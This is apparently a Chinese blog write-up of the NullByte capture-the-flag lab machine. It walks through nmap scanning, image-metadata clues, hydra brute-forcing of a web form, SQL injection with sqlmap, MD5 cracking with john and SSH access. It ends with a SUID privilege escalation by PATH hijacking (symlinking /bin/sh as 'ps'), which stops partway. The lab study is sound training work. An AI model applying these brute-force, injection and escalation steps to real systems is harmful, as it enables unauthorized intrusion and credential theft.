NullByte靶机练习

信息收集部分,寻找同网段存活的IP地址。

fping -asg 192.168.24.0/24 2>/dev/null

 使用Nmap扫描IP开放的端口以及版本号

nmap -sV -p- --min-rate=10000 192.168.24.132

 

 首先查看80端口http服务

 只有一张图片,我们可以先使用dirsearch目录探测工具来寻找可能存在漏洞的页面。

dirsearch -u “http://192.168.24.132”

与此同时,可以把首页的图片下载下来查看是否存在隐写的信息。

wget http://192.168.24.132/main.gif   #下载命令
file main.gif                         #kali中file命令查看文件格式
exiftool main.gif                     #读写和处理图像中的元数据
strings main.gif                      #打印文件中可打印的字符串

 

查看到Comment中有一条 kzMb5nVYJw奇怪的字符串,之后可以查看一下dirsearch也探测到的两个URL,一个是phpmyadmin页面,另一个是upload,但是没有可以搜寻到的信息,mysql或许是一个入侵手段,但是比较麻烦耗时,所以继续寻找其他的入口。

在挣扎许久之后发现kzMb5nVYJw这个诡异的字符串居然是一个页面

 

 F12查看源代码之后给我们提示

<!-- this form isn't connected to mysql, password ain't that complex -->

“这个表单没有连接到mysql,密码没有那么复杂” 

也就是说可以进行暴力破解或者弱口令的尝试,可以使用hydra工具来进行一个暴力破解。

hydra 192.168.24.132 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l KKK -P /usr/share//wordlists/rockyou.txt 
http-form-post 
^PASS^是变量 所以需要使用^^包裹,因为是只有一个post传参的表单,用户名可以随意指定。

登陆成功后发现还是一个可以提交参数的表单

 

 

 

输入is之后发现存在回显,其他则是Fetched data successfully

很像存在SQL注入,可以尝试判断一下闭合符号,令查询报错

 知道闭合符号为之后我们既可以开始进行SQL注入

 判断列数为3 使用联合查询 union select 可以进行手工注入或者sqlmap跑都可以

sqlmap得到

ramses

看起来像base64加密过

echo “YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE” | base64 -d

得到c6d6bd7ebf806f43c76acc3681703b81,md5值,放入在线网站解密一下

 

omega

如果实验环境不联网的情况下应采用以下思路,首先使用hash-indentfier判断该hash值的类型

hash-identifier c6d6bd7ebf806f43c76acc3681703b81

 然后将该值放入hash_md5中,紧接着使用john工具来尝试暴力破解

echo "c6d6bd7ebf806f43c76acc3681703b81" > hash_md5
john --format-raw-md5 -wordlist=/usr/share/wordlists/rockyou.txt hash_md5

 

破解成功 最终得到了账号 ramses 密码 omega,尝试登录端口为777的ssh服务

以进行一下敏感数据收集,因为刚刚进行的时候提交表单都是该文件在处理信息,所以有理由怀疑该文件是一个敏感文件,存在与数据库交互的敏感信息,查找到了对应的数据库账号和密码。可以从SQL注入中拿到ssh的账号密码,然后连接进行获取系统初始权限,也可以通过SQL注入写webshell的形式来拿shell。

提权

进行查看/home/ramses中的文件的时候查看到了一个名为.bash_history的文件,内容中进入到了/var/www/backup/路径中运行了一个名为procwatch的文件,发现是一个红色底色的文件。

有s权限

 s,表示set UID或set GID。位于user或group权限组的第三位置。如果在user权限组中设置了s位,则当文件被执行时,该文件是以文件所有者UID而不是用户UID 执行程序。如果在group权限组中设置了s位,当文件被执行时,该文件是以文件所有者GID而不是用户GID执行程序。(也就是说应该是以root权限来运行的该文件,suid提权)

s权限位是一个敏感的权限位,容易造成系统的安全问题。请在设置时小心,并注意系统中已有的SUID或SGID文件和目录,所以可以尝试利用该文件进行提权

请注意,该文件由root用户所有,并且具有粘性位权限集,它在某种程度上使用了“ps”命令。

粘性位权限集icon-default.png?t=N2N8https://bbs.huaweicloud.com/blogs/365491#:~:text=%E7%B2%98%E6%80%A7%E4%BD%8D%E6%98%AF%E5%9C%A8%E6%96%87%E4%BB%B6%E6%88%96%E7%9B%AE%E5%BD%95%E4%B8%8A%E8%AE%BE%E7%BD%AE%E7%9A%84%E6%9D%83%E9%99%90%E4%BD%8D%EF%BC%8C%E4%BB%85%E5%85%81%E8%AE%B8%E6%96%87%E4%BB%B6%2F%E7%9B%AE%E5%BD%95%E7%9A%84%E6%89%80%E6%9C%89%E8%80%85%E6%88%96,root%20%E7%94%A8%E6%88%B7%E5%88%A0%E9%99%A4%E6%88%96%E9%87%8D%E5%91%BD%E5%90%8D%E6%96%87%E4%BB%B6%E3%80%82

二进制文件只是从系统中调用“ps”作为参数。知道了这一点,我们应该能够通过修改NullByte:1框上的$PATH环境变量来轻松利用这一点。让我们将/bin/sh重命名为ps,并将PATH指向它。

cd /var/www/backup
ln -s /bin/sh ps        #将/bin/sh 硬链接 ps 
export PATH=.:$PATH     #将目前所处在的路径导入进系统的环境变量之中

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值